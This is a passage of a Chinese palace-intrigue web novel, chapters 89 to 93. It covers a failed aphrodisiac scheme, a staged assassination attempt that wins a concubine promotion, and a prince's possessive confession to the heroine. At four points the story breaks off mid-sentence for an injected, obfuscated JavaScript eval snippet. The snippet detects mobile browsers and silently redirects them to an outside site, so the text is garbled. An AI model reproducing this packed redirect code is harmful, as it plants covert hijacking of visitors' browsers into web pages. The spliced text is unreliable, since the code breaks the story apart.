只因她身上那股刻意模仿姜姝宁的痕迹太过明显,无论是妆容,还是衣衫,都与姜姝宁有几分相似,想让人忽略都难。 他瞬间便猜到了姜瑶真将他约来此处的目的,眼底不由自主地涌起一股难以掩饰的厌恶。 “姜二姑娘,你这是何意?”他的声音低沉而冰冷,带着一丝显而易见的愠怒。 姜瑶真被他这冷淡的模样吓了一跳,心中顿时犯起了嘀咕:怎么,你对姜姝宁爱而不得,如今我好心帮你找了个替身来,你还不高兴吗? “殿下,这位是臣女的三妹莲儿。今日她本随二叔二婶前往相府拜年,没想到竟被大姐姐下令轰了出来。”她顿了顿,见他表情没什么变化,这才继续道,“二叔二婶如今膝下仅剩莲儿这一女,臣女斗胆,恳请殿下收她入府,哪怕只做个粗使丫头,也好过她无依无靠。” 萧凌川嗤笑一声:“收她?一个赌徒兄长的妹妹,怎配留在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620111|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身侧?” 此言一出,雅间内的空气仿佛瞬间凝固。 姜莲脸涨得通红,眼眶泛起泪光,羞窘得几欲夺门而出。 姜瑶真笑容一僵,忙打圆场:“殿下,兄妹自是不同,莲儿秉性温婉,与大姐姐有几分相似,定能伺候得妥帖。莲儿,还不快为殿下奉茶!” “是……”姜莲低声应道,慌乱中上前端起茶盏。 谁知身后忽被人一推,她猝不及防,整个人失了重心,直直朝萧凌川怀中跌去。 萧凌川眼疾手快,抬手一挡,欲将她推开,鼻尖却嗅到一股甜腻的香气。 他心头一凛,顿时勃然大怒:“姜瑶真,三番两次用这种下作手段,你把本皇子当什么了?!” 这声怒吼犹如惊雷,把姜瑶真和姜莲吓得脸色煞白。 凌风听到声音,立马推门而入:“殿下,发生何事?” 姜瑶真想解释什么,萧凌川压根不给她任何机会。 “凌风,这个月的解药无需给她!” “是,殿下!””凌风恭声应道。 “不!殿下!”姜瑶真惊恐万分,那种皮肉溃烂、生不如死的滋味,她只要想起就觉得胆战心惊,绝不想再经历第二次。 她连忙跪倒在萧凌川面前,泪眼婆娑,苦苦哀求:“殿下,臣女知错了!臣女只是见三妹与大姐姐有几分相似,想着将她送到殿下身边,或许能讨殿下欢心……” “她?像姜姝宁?”萧凌川冷笑一声,“你听过‘画虎不成反类犬’吗?简直可笑!” 这话就跟扇在姜莲脸上似的,她的脸顿时一阵红辣辣的疼。 姜瑶真还想继续哀求,萧凌川依旧起身和凌风扬长而去。 看着他们决绝的背影,她跌坐在地上,口中喃喃自语:“不可能,他怎么拒绝得了……” 为了让姜莲能顺利成为萧凌川的女人,她费尽了心思。 不仅让姜莲模仿姜姝宁的妆容打扮,还特意将沾了媚药的帕子塞在姜莲的袖中。 这媚药是春香楼的姑娘们惯用的手段,女子闻了没什么感觉,男子一旦沾染,便会欲火焚身,难以自持。 姜莲的样貌本就与姜姝宁有几分相似,再加上这药效霸道的媚药,她不相信萧凌川会无动于衷。 没想到,事情竟出乎她的意料。 美色当前,萧凌川竟硬生生抵挡住了! 一旁的姜莲并不知道发生了什么,一脸懵懂地看着姜瑶真,怯生生地唤了一声:“二姐姐……” “啪!”姜瑶真抬手狠狠地扇了姜莲一巴掌,将怒火宣泄在她身上:“都是你这个没用的东西!要不是你学得不像,殿下怎么会如此生气?还不快给我滚!别在这里碍我的眼!” 第90章 深夜行刺 第九十章深夜行刺 姜莲被这突如其来的一巴掌打得头昏脑胀,一时之间竟有些反应不过来。 她本想起身离开,可想到母亲临走前的嘱咐。 他们二房如今只剩下她一个女儿,若她没法找到好归宿,她的父母这辈子将老无所依。 于是她忍着疼跪在姜瑶真面前,哀求道:“二姐姐,莲儿知错了,你再给莲儿一个机会吧,莲儿一定会让贵人满意的!” 姜瑶真居高临下地看着跪在地上,眉眼间与姜姝宁有几分相似的姜莲,心底忽然涌起一个恶毒的念头。 “好啊,那我便再给你一个机会。”她嘴角勾起一抹阴冷的笑容,语气森然,“往后,你定要学姐姐学得像一点!” “是,二姐姐!”姜莲战战兢兢地回答。 她一心只想依靠姜瑶真的关系,攀附上一个好人家,从而改变自己的命运,却全然不知自己即将面临的是什么。 —— 萧凌川乘坐马车匆匆赶回宫。 一回到景和宫,他便吩咐宫人往浴桶里放冰。 待浴桶注满冰水,他迅速褪去衣衫,将自己浸泡在刺骨的冰水中。 寒意侵袭,这才稍稍缓解了他体内如烈火焚烧般的痛苦。 七皇子萧琪钰恰好来找他一同去朝会,听说他在泡冰水,又从凌风口中得知他险些再次中了姜瑶真的算计,顿时忍不住冲着他的寝殿大声嚷嚷道:“四哥,依我看,不如让孙神医先研制一些能够克制媚药的方子吧!你这中媚药的次数都快赶上**的次数了!” 寝殿里传来萧凌川咬牙切齿的声音:“你给我闭嘴!” 萧琪钰摇了摇头,又忍不住转头跟凌风抱怨道:“这姜二姑娘怎么总是用下媚药这种老掉牙的伎俩啊?若她换个法子算计人,我还能高看她一眼!上次想让四哥毁姜姑娘的清白,这次又想让四哥毁谁的清白?” 凌风轻咳一声:“她的三妹姜莲姑娘。” “这姜二姑娘,不是自家姑娘她还不愿意霍霍!但愿三哥早点将她娶进门,也好让她去祸害三哥后院那些莺莺燕燕!” 萧凌川在冰水中浸泡了许久,那股燥热的药效却始终无法完全消除,他的脑海中不断浮现出与姜姝宁相关的旖旎画面,挥之不去,让他心烦意乱,几欲抓狂。 萧琪钰生怕萧凌川再耽搁下去,无法按时参加朝会,连忙命人快马加鞭,将隐居宫外的孙神医请了回来。 孙神医不敢怠慢,匆匆赶来,立刻为萧凌川施针,这才勉强压制住他体内那股邪火。 萧琪钰在一旁看热闹不怕事大:“孙神医,要不您炼制一瓶专门解春药的丹药给我四哥,他总是被那些心怀不轨的女人算计下药,再这样下去,我真怕他保不住清白,平白便宜了嫂嫂以外的女人!” 萧凌川恶狠狠地瞪着他。 若目光是刀,那萧琪钰已被千刀万剐了。 孙神医抚着白须哈哈大笑:“这种丹药老夫有现成的,但不能常服,否则会影响身体根本,最终会变得无欲无求!” “那可不行!”萧琪钰和凌风异口同声道,“这药的副作用也太大了!” “孙神医,这样的丹药给我来一瓶吧。”萧凌川主动开口,神色晦暗,“我或许……用得上。” 萧琪钰若有所思:“看来,四哥预感到自己还会遭遇美人计,同为男子,我真不知应该羡慕你还是同情你!” “七弟,”萧凌川凌冽的目光看向他,“若不是顾及我们之间的血脉亲情,我真想将你的舌头割下来!” 萧琪钰惊恐地捂住嘴巴:“四哥,你可千万别冲动!” —— 过了服解药的期限,姜瑶真身上的皮肤开始成片成片溃烂。 她只能躲在房里不敢出去,让婢女春花每日送吃食来。 可那种痛苦折磨得她几经崩溃。 她实在忍受不了,只能穿着斗篷,把全身遮得严严实实,去来福酒楼找姨娘,哀求她能否先将解药给自己服用。 姨娘比划道:“解药我已经服下了!” 她们是母女,都一样把自己的容貌看得比什么都重。 拿到凌风解药的那一刻,都是迫不及待就服下。 萧凌川早就猜中了这一点。 姜瑶真无奈,只能将自己那日自作聪明,想把姜莲送到萧凌川身边,结果弄巧成拙,彻底将他得罪的事告诉了姨娘。 “他竟然命人断了我的解药!”姜瑶真哭得梨花带雨,“娘,这可如何是好?如今我只能终日戴着面纱,不敢以真面目示人,这样的日子,让我如何熬得了一个月啊?” 姨娘心疼不已,用手势告诉她:“别哭了,我去求四皇子!” 她深夜潜入景和宫,跪在萧凌川面前,递给他一张纸条,头几乎要磕破。 纸条上写着:“真儿不懂事,得罪了殿下,还请殿下高抬贵手,将这个月的解药给她,我愿意为殿下做任何事!” 萧凌川似乎早已预料到她会来此求情,淡淡地开口:“既然你如此诚心,那我便给你一个将功补过的机会。” “今夜子时,去储秀宫行刺我父皇,届时,苏美人会挺身而出,为父皇挡刀。记住,千万别真的杀了她,让她受点伤即可。若是她伤得太重,丢了性命,你和你女儿这辈子的解药,就休想再得到了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620112|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姨娘点头如捣蒜,表示她知道怎么做。 夜幕深沉,皇帝正在储秀宫的榻上酣睡。 凝香则侧卧在他身旁,清晰无比。 她在等待着四皇子派来的刺客。 这对于她来说,是一个至关重要的机会,一个能够彻底与三皇子划清界限,从而获得皇帝真正认可的绝佳时机。 很快,一道黑色的身影如同鬼魅般闪入了储秀宫内。 她故意弄出些动静,让侍卫们发现她,惊呼出声:“有刺客!快,护驾!” 皇帝骤然从睡梦中惊醒,双目圆瞪:“发生什么事?” 凝香一副惊慌失措的模样,偎依在皇帝身边:“陛下,有刺客……” 她的话音未落,便看到一道黑影如同离弦之箭般从窗外飞扑而入,直奔皇帝而来。 凝香几乎是出于本能地猛地扑向皇帝,用自己的身体挡在了他的身前:“陛下,小心——” 锋利的刀刃刺入她后背,发出可怖的皮肉撕裂声。 “啊——”凝香发出凄厉的惨叫声,皇帝一惊,一脚踢向那刺客的手。 刺客吃痛,手中的刀子脱手落地,与此同时,听到动静的侍卫们也蜂拥而至,冲进了寝殿内。 刺客见状,立马从另一扇窗离开,消失在夜色中。 皇帝冲着那些惊魂未定的侍卫们怒吼道:“还愣着做什么?还不快去请御医!要是苏美人有个三长两短,朕要你们全部陪葬!” “是,陛下!”侍卫领命而去。 凝香虚弱地躺在他怀里,脸色惨白,像是随时会香消玉殒。 她身上的血腥味也弥漫着异香,这气息闻起来让人有些不安。 “陛下……好疼啊……” 皇帝心疼不已,轻抚她的脸,柔声安抚道:“御医很快就来,朕不会让你有事的!” “妾身……不知道能不能再见到明日的太阳……”凝香克制着疼痛,断断续续道,“可妾身不想临死前还欺骗皇上……” “妾身其实是……三皇子的人……他让妾身在陛下身边侍奉,趁机帮他……吹枕边风……” “你别说了,你说的这些,朕都知道!” “陛下……不怪妾身?”凝香的眼眶中噙满了泪水,一滴晶莹的泪珠从眼角滑落,沿着脸颊缓缓地流淌下来。 “从前朕或许会怪你,”皇帝用指腹轻轻拭去她眼角的泪水,语气温柔而充满怜惜,“可是现在,朕已经不怪你了!你千万不能有事!” 凝香像是再也支撑不住了一般,缓缓地阖上了眼眸。 实际上,她是为了掩盖眼底一闪而过的得逞之色。 第91章 命不该绝 第九十一章命不该绝 凝香替皇帝挡下那一刀,在病榻上足足躺了大半个月,方才勉强痊愈。 待她伤势痊愈,皇帝感念其救驾之功,力排众议,执意要册封她为妃。 御史台的那群老臣们纷纷上书进谏,言辞激烈:“陛下,这后宫的妃子,哪一个不是高门贵女?苏美人出身青楼烟花之地,能够入宫侍奉陛下,已经是天大的福分了,怎能与那些世代簪缨的世家贵女相提并论,平起平坐?臣等以为,给她一个嫔位,已是莫大的赏赐!” 皇帝勃然大怒:“凝香以身犯险,救了朕的性命,难道朕的性命,还不值一个妃位吗?这后宫之中,有哪个妃嫔曾为朕挡过刀?哪个世家,哪个妃子,敢质疑朕的决定?” 大臣们被皇帝噎得哑口无言,最终只能无奈接受了皇帝的决定。 很快,凝香被正式册封为香妃。 她封妃的那一日,熙贵妃在自己的宫里大发雷霆,将宫殿里的东西砸了个稀巴烂。 “一个出身低贱的女支子,也配当妃子?陛下到底有没有把本宫放在眼里?有没有把本宫的母族放在眼里?!” 宫女们吓得魂飞魄散,纷纷跪倒在地,大气都不敢出。 她的贴身婢女小心翼翼地上前,轻声安抚道:“娘娘息怒,切莫为了一个**生气,伤了自己的身子!奴婢刚刚接到消息,说是三皇子殿下剿匪大获全胜,如今已经率领大军凯旋而归,正在返回京城的路上了!届时,陛下一定会对三皇子殿下**行赏。娘娘,您扬眉吐气,重获圣宠的日子就要到来了!” 听到这番话,熙贵妃神色才稍霁。 “一个女支子罢了,要妄想与本宫争宠,简直是不自量力!本宫的儿子,才是所有皇子中最出色的一个,总有一天,本宫会是这后宫最尊贵的女子,届时,本宫一定不轻饶那个女支子!” 宫道上,萧凌川与新晋的香妃凝香迎面相遇。 萧凌川神色恭敬地向她行礼:“见过香妃娘娘!” “四皇子殿下不必多礼。”凝香嘴上说着客气的话,眼中的感激却仿佛要满溢而出,“若不是殿下当初的指点和提携,本宫又怎会有今日的地位?殿下才是本宫的再造之人,对本宫恩重如山!” “娘娘过谦了,这也要娘娘命中有此富贵,才能抓住机会,步步高升。”萧凌川脸上带着一丝意味深长的笑容,他从袖子拿出一个瓷瓶,不动声色地递给凝香,低声道,“接下来,就祝娘娘早生贵子,福泽万千!” 凝香接过瓷瓶,泫然欲泣:“多谢殿下,殿下的大恩大德,本宫没齿难忘!” “对了。”萧凌川桃花眸中闪过一丝晦暗,“我那三哥就要凯旋而归了,娘娘可知接下来应当如何做?” “殿下放心,本宫绝不会让你失望的。” 凝香说完,便不再停留,径直朝着自己的新宫殿走去。 如今,她已是皇帝亲封的香妃娘娘,有了自己的宫殿,再也不用和储秀宫里那群位份低的女人挤在一起了。 这一刀,挨得实在是太值了。 —— 自从萧修湛奉旨西行剿匪,姜姝宁便日日盼着他的死讯。 对皇室而言,这或许是令人扼腕的噩耗,但对她来说,无疑是天大的喜讯,足以让她一解心头之恨。 然而,事与愿违,她等来的却是萧修湛凯旋而归的消息。 他回京那日,京城百姓夹道欢迎,人山人海,锣鼓喧天,都将他视作凯旋的英雄,剿匪的功臣。 姜姝宁隐匿在人群之中,目光死死地盯着那个骑着高头大马,接受百姓的鲜花和欢呼的男人,心中恨意滔天。 “这一世我已经把帮他挡刀的‘阿蒙’送给二皇子殿下了,他怎么还能活着回来?” 到底哪里出了问题? 她百思不得其解。 难道萧修湛如此手段毒辣的人,竟命不该绝吗? 而真正迎来噩耗的是顾家。 据说剿匪当日,顾亦庭义无反顾地冲进匪巢里,被匪徒一剑刺穿胸膛,当场毙命。 听到萧修湛带来的这个消息,顾御史悲痛欲绝,当场晕厥过去。 皇帝感念顾亦庭剿匪有功,不仅赏赐了顾家大量的金银珠宝和田产,还在西榆为他设立祠堂,彰显其功绩。 然而,再多的赏赐和虚名都弥补不了顾家痛失爱子的痛苦。 顾御史一病不起,顾夫人也终日以泪洗面,整个顾府都笼罩在一片挥之不去的阴霾和痛苦之中。 顾晚樱悲痛欲绝,带着一群家仆气势汹汹地来到相府门前,哭闹着要向姜丞相和姜姝宁讨个说法。 凌芜匆匆来报:“大小姐,不好了!顾晚樱带着一群家仆在相府门外喧哗吵闹,口口声声说是您害**她的兄长,要您为顾公子的死负责!” “荒谬!她兄长的死于我何干?”姜姝宁起身,“走,去看看!” 姜姝宁来到相府大门前时,看到姜丞相和姜夫人已站在门口,神色焦灼。 只见门外人头攒动,除了顾晚樱和顾府的家仆之外,还有许多不明真相,凑热闹不嫌事大的围观群众。 姜姝宁正准备上前一问究竟,顾晚樱一看到她,立马指着她控诉道:“姜姝宁,都是你!若不是你,我哥就不会死!” 这毫无理由的指责让姜姝宁有些无语。 “晚樱姑娘,饭可以乱吃,话不能乱说。顾公子是被匪徒所杀,这是人尽皆知的事实,与我何干?” “我哥那样的书生,根本不适合去剿匪,是四皇子请奏陛下,逼他跟着三皇子去的!”顾晚樱边说边落泪,“若不是因为我哥想求娶你,就不会得罪那四皇子,也不会被迫西征,最后客死他乡!” 姜姝宁被她这匪夷所思的逻辑弄得有些哭笑不得。 “晚樱姑娘,你简直强词夺理!首先,你如何证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620113|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明顾公子是因为想求娶我才得罪四皇子殿下的?其次,顾公子奉旨西征,协助三皇子殿下剿匪,乃是陛下亲自下的旨意,我不过一个大臣之女,何来左右圣旨的能力?最后,即便西征剿匪之路微危险重重,可顾公子一介文弱书生,为何要非要冲进那匪巢?难道,这也是我强迫的?” 这接二连三的反问,让顾晚樱顿时有些语塞。 就在此时,人群之中忽然响起一个突兀的声音: “就是这相府嫡长女,她跟四皇子的关系不清不楚,我儿也是因为得罪她,被四皇子雇**死的!她就是个扫把星!只要跟她扯上关系,定会被四皇子所害!” 说这话的正是姜姝宁的二婶姜二夫人。 她面容扭曲,眼神恶毒,一副要将姜姝宁置之死地的模样。 围观的人群听到这话,顿时议论纷纷。 不知谁高喊了一声:“既然四皇子如此在意姜姑娘,姜姑娘何不嫁给他?任由他如此为非作歹,草菅人命,姜姑娘难道不会感到一丝一毫的愧疚和不安吗?” 此话一出,其他人纷纷附和。 “就是就是,当个四皇子妃不也是光耀门楣的事情吗?” 姜二夫人唯恐天下不乱,在一旁煽风点火:“各位不知道,这相府嫡长女眼高于顶,她可不满足于只当个四皇子妃。她呀,就喜欢那些男子们为她倾倒,为她痴狂!这顾家的公子啊,大抵也是被她**于股掌之间的男子之一,只可惜他一片痴心错付,最终落得个客死他乡的凄惨下场,真是可悲可叹啊!” 姜丞相顿时勃然大怒:“弟妹,休要在此胡言乱语!来人,把这些人给我轰出去!若他们再来**,就将他们统统送往官府!” “是,老爷!”护院们纷纷上前,将顾晚樱和她的下人们,以及姜二夫人、围观看热闹的人群都挡到相府门外。 大门关上后,姜夫人急得都快哭了:“宁儿还未婚配,就被如此污蔑,往后可怎么办呀?” 姜瑶真一脸幸灾乐祸:“也不怪他们要说姐姐闲话,这顾公子前脚刚上门跟姐姐议亲,后脚就传来噩耗。这要是传扬出去,不明真相的人,还不得说姐姐是克夫命吗?” 姜丞相怒斥道:“真儿!你还嫌今日的事之事不够糟糕吗?来人,把二小姐送回院子,没有我的允许,不许她踏出院中半步!” 姜瑶真心中不忿,气鼓鼓地离开了,临走之前,还不忘狠狠地剜了姜姝宁一眼。 姜姝宁直接漠视姜瑶真的目光,转头对姜丞相道:“父亲,这事因我而起,我定会给你和姜家一个交代!我现在就进宫,找四皇子问清楚!” “宁儿,父亲是心疼你被人泼脏水,怕你受委屈。如今外面到处都在谣传你和四皇子殿下的关系,说得那般不堪入耳,你还是别再进宫见他了,以免再生是非!” “不,我要见他。”姜姝宁神色笃定,“因为有些问题,只有他才有答案!” 第92章 变着法子占她便宜! 第九十二章变着法子占她便宜! 景和宫内,茶香氤氲,七皇子萧琪钰手执茶盏,终是忍不住开口问道:“四哥,这顾亦庭之事,你怎么看?他一介文弱书生,本就不愿西征,怎么会往匪巢里钻,还被匪徒一剑穿心,当场毙命?此事实在匪夷所思啊。” 萧凌川端起茶杯,轻啜一口,神色淡然:“何止顾亦庭一事匪夷所思,若你仔细查探一番,便会发现,三哥萧修湛此番带去西征的那支军队,伤亡寥寥无几,几乎可以忽略不计!” 听到这话,萧琪钰表情顿时变得凝重起来。 “不应该啊,山匪都是亡命之徒,若三哥真去了他们的老巢进行剿杀,他们势必会拼死反抗,殊死一搏!更何况,匪徒对藏身之地了如指掌,占据地利优势,这必定会是一场惨烈的恶战,三哥带去的兵马,绝不可能只有如此轻微的伤亡。除非……他们根本就没真正交战!” 萧凌川唇角勾起一抹意味深长的笑:“都是自己人,怎么可能打起来?不过演场戏给父皇和朝廷看罢了。” 萧琪钰目瞪口呆:“西榆山上的那群匪徒是三哥的人?他是土匪头子?” “若只是土匪头子还好。”萧凌川笑容逐渐褪去,桃花眸里晦暗不明,“可惜,藏匿在西榆山上的那些,根本就不是什么寻常的土匪,而是……西洲的士兵!” 萧琪钰脸色煞白:“此话当真?三哥他竟然……通敌?!” 就在这时,凌风来报:“殿下,姜姑娘求见!” 听到这话,萧凌川对萧琪钰道:“你嫂嫂来了,你先回避一下。” 萧琪钰有些不乐意:“为何?我也好久没见嫂嫂了,很是想念她!” 上次梅花宴,他都没跟嫂嫂说上话呢! 而且,他也馋嫂嫂做的糕点。 萧凌川冷声道:“你在这里太碍事!” 萧琪钰嘴角微抽:哥,你这眼里只有嫂嫂,是半点也没我这个兄弟啊! “好,我走!”他满脸委屈地朝门口方向走去。 “慢着!”萧凌川叫住了他。 他大喜:“四哥,你改变主意了?” 萧凌川指了指后门:“走后门!” 萧琪钰:“……” 重色轻弟、冷酷无情的四哥! 萧琪钰走后,姜姝宁才被带进景和宫里。 她款步上前,向萧凌川盈盈一拜,还未等他开口,便直截了当地开口问道:“殿下,臣女斗胆一问,此次西征剿匪之事,您不主动请缨前往?” 萧凌川看着她,深邃的眼眸仿佛能洞察人心一般,反问道:“你真正想问的,是没了前世那个替三皇子舍身挡刀的阿蒙,萧修湛为何还能安然无恙,毫发无损地活着回来吧?” “是!”姜姝宁并不打算隐瞒,坦白道,“阿蒙已经被我买下,如今不在三皇子手中。既如此,今生便无人能替他挡下那致命一刀,可他依旧能全身而退,毫发无损地凯旋而归。所以我大胆猜测,这其中定然与殿下您不主动请缨西征有关。” 他们都是重生的,以她对他的了解,只要是有利可图,能博得功劳的事情,他向来都会不遗余力地争抢。 前世的萧修湛西征大捷,不仅得到了封号和封地,还赢得了无数朝臣以及百姓的认可和拥戴,可谓是名利双收。 今生他却放弃了这个唾手可得的立功机会。 难道,是有什么忌惮? 萧凌川看着她神色紧绷的小脸,忽然懒洋洋地开口:“我饿了。” “什么?”姜姝宁以为自己听错了。 谁会在严肃氛围下说出如此不合时宜的话来? “我说,我饿了。”他看着她,如画的眉眼间染上了笑意,“若你能喂饱我,我就为你解答迷津。” 姜姝宁:“……” 真是个讨厌的家伙,变着法子占她便宜! 她皮肉不笑地开口:“殿下放心,只要你肯如实告知,别说喂饱你了,撑死你都没问题!” 萧凌川不怒反笑。 不知怎的,他爱煞了她这幅牙尖嘴利的模样。 “那便做三菜一汤吧!姜姑娘,请吧!” 姜姝宁磨了磨牙,生生咽下心中的不满,往景和宫后厨走去。 萧凌川口味挑剔,前世他们还是夫妻时,很多菜肴她就都顺着他的口味做。 时间一长,把他的嘴养得更刁了。 现在他总嫌弃宫里的厨子做的饭菜寡淡无味。 日日盼着她有求于他,好趁机让她给自己做点吃的,打打牙祭。 萧凌川悄无声息地来到后厨,远远地望着她那道在灶台前忙碌的纤细身影,脸上虽神色淡然如水,心中却早已是波澜起伏。 大多数世家贵女不愿围着灶台转,沾染上油烟之气,她们宁愿将更多的时间和精力,花费在琴棋书画等风雅之事上。 她从前也与别的女子别无二致,可嫁给他为妻后,为了讨他欢心,她甘愿放下身段,主动去学习烹饪饭菜的技巧。 刚成婚那会,他以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620114|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这辈子都不可能对她动心。 可日子长了才知道,五脏六腑被熨帖妥当的滋味有多舒坦。 他甚至开始嫉妒前世的自己,被她这般无条件地爱着。 而如今,那些曾经**以为常、唾手可得的美好,如今只能通过交易才能得到了。 姜姝宁手脚麻利,不但一个时辰,色香味俱全的三菜一汤就做好了。 “殿下,请用!” 萧凌川坐在桌前,递给她一副碗筷:“一起。” “不了,还请殿下尽快用完,早些将答案告知臣女!”她态度客气又疏离。 “不必如此多礼,你且坐下,我们边吃边聊便是。”萧凌川语气中带着一丝不容置疑的坚持。 姜姝宁见他如此执着,心中无奈,只得依言在他身旁落座,默默地端起碗筷,有一口没一口地吃着。 心头却不禁涌起一股难以言喻的怪异感觉。 前世他们还是夫妻时,她每日最盼望的时刻就是一同用膳。 只有这个时候,她才觉得萧凌川是属于自己的。 也不知那样的日子,她是如何熬十年的。 萧凌川见她神色有异,问:“你怎么了?” “无事。殿下,如今您可以告知臣女答案了吗?”姜姝宁敛去心中纷乱的思绪,不动声色地将话题引回了正轨。 萧凌川心口一滞。 他想好好喝她一起吃饭,而她只是迫不及待地想要知道萧修湛为何没有死在西征剿匪的战场之上。 今生,她心中除了复仇,怕是没有多余位置给他了。 他强压下心中的失落,缓缓开口:“我不去剿匪,是因为若是我去,必死无疑。” 姜姝宁看着他,示意他继续说下去。 “无论前世还是今生,萧修湛都不会死在剿匪之战中,因为躲藏在西榆山上、残害大邺商贾百姓的,并非真正的匪徒,而是西洲士兵。” 萧凌川一字一句道,“当年萧修湛的舅舅镇国将军镇守西部边疆时,就已经跟西洲勾结。他们在西榆山上秘密豢养了一支精锐的军队,只是最近资金不足,所以才命士兵频频下山抢夺商贾和百姓的钱财,以解燃眉之急。 此次西征,萧修湛不过是走个过场,做戏给人看罢了,他真正的目的,是为了从父皇手中骗取足够多的钱财,继续豢养他那支私藏的军队。” 姜姝宁只觉得耳朵嗡嗡作响,半天都回不过神来。 萧修湛竟有如此强大又可怕的后盾?! 第93章 这天下和你,我都想要! 第九十三章这天下和你,我都想要! “若三皇子殿下当真有西洲这般可怕的靠山,甚至还拥有一支训练有素的精锐军队,那么前世,你又是如何突出重围,最终压他一头的?”姜姝宁忍不住追问道。 萧凌川目光有一瞬闪躲,但很快便恢复了如常。 “我自然有我的方法和手段,只不过如今时机未到,还不能告诉你。”他有些含糊其辞。 姜姝宁不禁想起前世他和姜瑶真的纠缠以及暧昧不清。 难道是姜瑶真在暗中帮了他? 前世姜瑶真作为萧修湛最宠爱的侧妃,自然有机会接触到他的机密。 若她把这些关于萧修湛的机密情报偷偷透露给萧凌川,萧凌川在对付萧修湛这件事上自然多了胜算。 这个猜测让姜姝宁脊背发凉。 如果连自己心爱的女子都可以算计,萧凌川该是何等冷血的心性? 难怪无论前世今生,他都不曾制止姜瑶真嫁给萧修湛。 原来相比男女之情,他更醉心于权势。 “你想要萧修湛的命,还需多点耐心。”萧凌川的话讲她的思绪拉了回来。他看着她,眼神晦涩,“在此之前,别让任何人察觉到你对他的杀意,明白吗?” 姜姝宁深吸一口气,问出了心底那个问题:“殿下向陛下举荐顾公子随三皇子一同西行,是因为……他想要向我求娶的缘故吗?” 萧凌川别开目光:“顾亦庭是太子的表弟,若是让他知晓了萧修湛与西洲士兵勾结一事,他是绝不可能包庇的,若是由他向父皇揭露此事……” “但殿下其实早就料到,他绝不可能活着回来,对吗?” 姜姝宁问这话时,目不转睛地盯着他,生怕错过他脸上细微的表情。 萧凌川迎上她的目光,澈黑的眼眸宛如平静的海面,毫无波澜:“对。” 他从来不是什么善类,也并不打算隐藏自己的本性。 尽管早就猜到答案,但从他口中得到证实的那一刻,姜姝宁还是有些不寒而栗。 “殿下为何非要置顾公子于死地?” “因为他不自量力,妄想染指不属于他的东西!”萧凌川的声音骤然变得森冷起来,仿佛来自地狱,充满了令人胆寒的杀意,“他决定向你求娶的那一日,在我眼中,就已经是个**了!” 姜姝宁对上他那双偏执又可怖的桃花眼,只觉得一股寒意从她的骨头缝里不断渗出。 “你疯了吗?难道想求娶我的男人,你都不会让他活着?” “对!只要是觊觎你的人,我都不会放过!”萧凌川看着她,眼眸猩红,像是被彻底激怒的兽,“所以,姜姝宁,若你不想我滥杀无辜,就给我安分守己一点,与这天下的所有男子都保持距离,否则,就别怪我大开杀戒!” 姜姝宁难以置信地看着他:“为什么?我不是已经答应过殿下,绝不会成为你夺取天下的阻碍,你又何必……” “姜姝宁,你还不明白吗?”他忽然凑近她,目光幽深又凌厉,“这天下和你,我都想要!” 姜姝宁手中的碗“咣当”一声从手中脱落,重重砸在桌上。 她在他眼中看到了不加掩饰、近乎疯狂的占有欲。 她明白了,这个野心勃勃的男人,即便不爱她,也绝不可能放过她。 难怪前世他以为自己服毒自尽时,如此怒不可遏。 他可以不爱她,却无法容忍她自作主张的离开。 天下和她,他都想主宰! 她看着他,忽然嗤笑出声。 “那殿下可要尽快把三皇子除掉才好,否则,这天下和臣女,都不可能是你的!” 萧凌川眸色晦暗,此刻的姜姝宁看起来很陌生,一种难以掌控的不安陡然袭上他的心头。 “姜姝宁,你又想耍什么花招?” “臣女不敢。”她缓缓站起身,冲他盈盈一拜,“臣女没胃口,先行告退。祝殿下早日得偿所愿!” 眼见她就要转身离开,他心口一紧,起身用力扣住她的手腕,将她抱进怀里。 熟悉的馨香萦绕在他鼻息间,他心口一阵悸动。 她没挣扎,语气平静而疏离:“殿下这是做什么?还没夺得天下,就迫不及待想将臣女据为己有了吗?” 